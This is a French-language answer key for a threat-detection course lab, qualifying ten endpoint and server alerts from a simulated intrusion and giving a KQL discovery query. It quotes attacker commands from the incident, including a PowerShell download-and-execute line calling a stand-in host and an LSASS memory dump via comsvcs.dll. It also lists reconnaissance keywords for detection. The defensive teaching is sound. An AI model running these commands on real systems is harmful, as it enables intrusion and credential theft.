Accès anticipé Inscription gratuite : tous les parcours sont ouverts jusqu'au 15 janvier 2027, sans carte bancaire ni paiement. Créer mon compte gratuit

✅ Correction Jour 9 · Détecter sur les postes et les serveurs · 40 min

Correction de l'atelier 9

Partie 1 : les dix détections

# Détection Alertes Résultat Qualification
1 Office → interpréteur 1 WINWORD.EXE → powershell.exe sur WS-COMPTA-07, c.roussel, mardi 8 h 41 min 12 s Vrai positif
2 PowerShell encodé 1 Même événement ; décodé : IEX (New-Object Net.WebClient).DownloadString('http://maj-office365.example/a.ps1') Vrai positif
3 Dossiers inhabituels 2 C:\ProgramData\WinTelemetry\wtsvc.exe (WS-COMPTA-07, mardi 8 h 41) et C:\ProgramData\rcl.exe (SRV-FILE01, jeudi 1 h 09) Vrais positifs
4 Clé Run 1 …\Run\WinTelemetry = wtsvc.exe, écrite par PowerShell Vrai positif
5 Tâches et services 3 Tâche \Microsoft\Windows\Telemetry\WinTelemetryUpdate (WS-COMPTA-07) : malveillante (nom qui imite Microsoft, lance wtsvc.exe) ; service ERPUpdater (SRV-ERP01, adm.girard, mardi midi, dans Program Files) : bénin ; service PSEXESVC (SRV-FILE01) : malveillant 2 VP, 1 bénin
6 Découverte 5 commandes WS-COMPTA-07, mardi 14 h 05, parent cmd.exe lui-même lancé par wtsvc.exe : whoami /all, net group "Domain Admins" /domain, nltest /dclist:lavergne.local, net view \\SRV-FILE01, setspn -T lavergne.local -Q */* Vrai positif
7 Kerberoasting 1 c.roussel depuis 10.20.3.47, 7 services en RC4 en 30 secondes (mardi 14 h 20) Vrai positif
8 LSASS 1 (+1 Sysmon 10) rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 712 C:\ProgramData\d.dmp full par svc_backup sur SRV-FILE01, mercredi 2 h 40 Vrai positif
9 PsExec 1 PSEXESVC sur SRV-FILE01, mercredi 2 h 31 min 11 s, 2 secondes après un 4624 type 3 de svc_backup depuis 10.20.3.47 (WS-COMPTA-07) Vrai positif
10 Journal effacé 1 SRV-FILE01, support.it, jeudi 2 h 31 Vrai positif
// 6. La découverte, avec le parent du parent
let Decouverte = dynamic(["whoami", "net group", "nltest", "setspn", "net view", "net user", "quser", "systeminfo"]);
SecurityEvent
| where EventID == 4688 and CommandLine has_any (Decouverte)
| summarize Commandes = make_list(CommandLine), Debut = min(TimeGenerated), Fin = max(TimeGenerated) by Computer, Account, ParentProcessName

Le seul bénin

Le service ERPUpdater a été installé par le compte d'administration nominatif d'Antoine Girard, en journée, dans C:\Program Files\Sylve ERP\ : un ticket de changement le confirme. Une règle « nouveau service » produira toujours ce genre d'alerte ; on la règle (jour 11) plutôt que de la supprimer, car elle a aussi attrapé PsExec.

Cette leçon est réservée aux abonnés

Pendant l'accès anticipé, tous les cours, vidéos, ateliers, corrections et le certificat sont gratuits jusqu'au 15 janvier 2027, sans carte bancaire.

Créer mon compte gratuit J'ai déjà un compte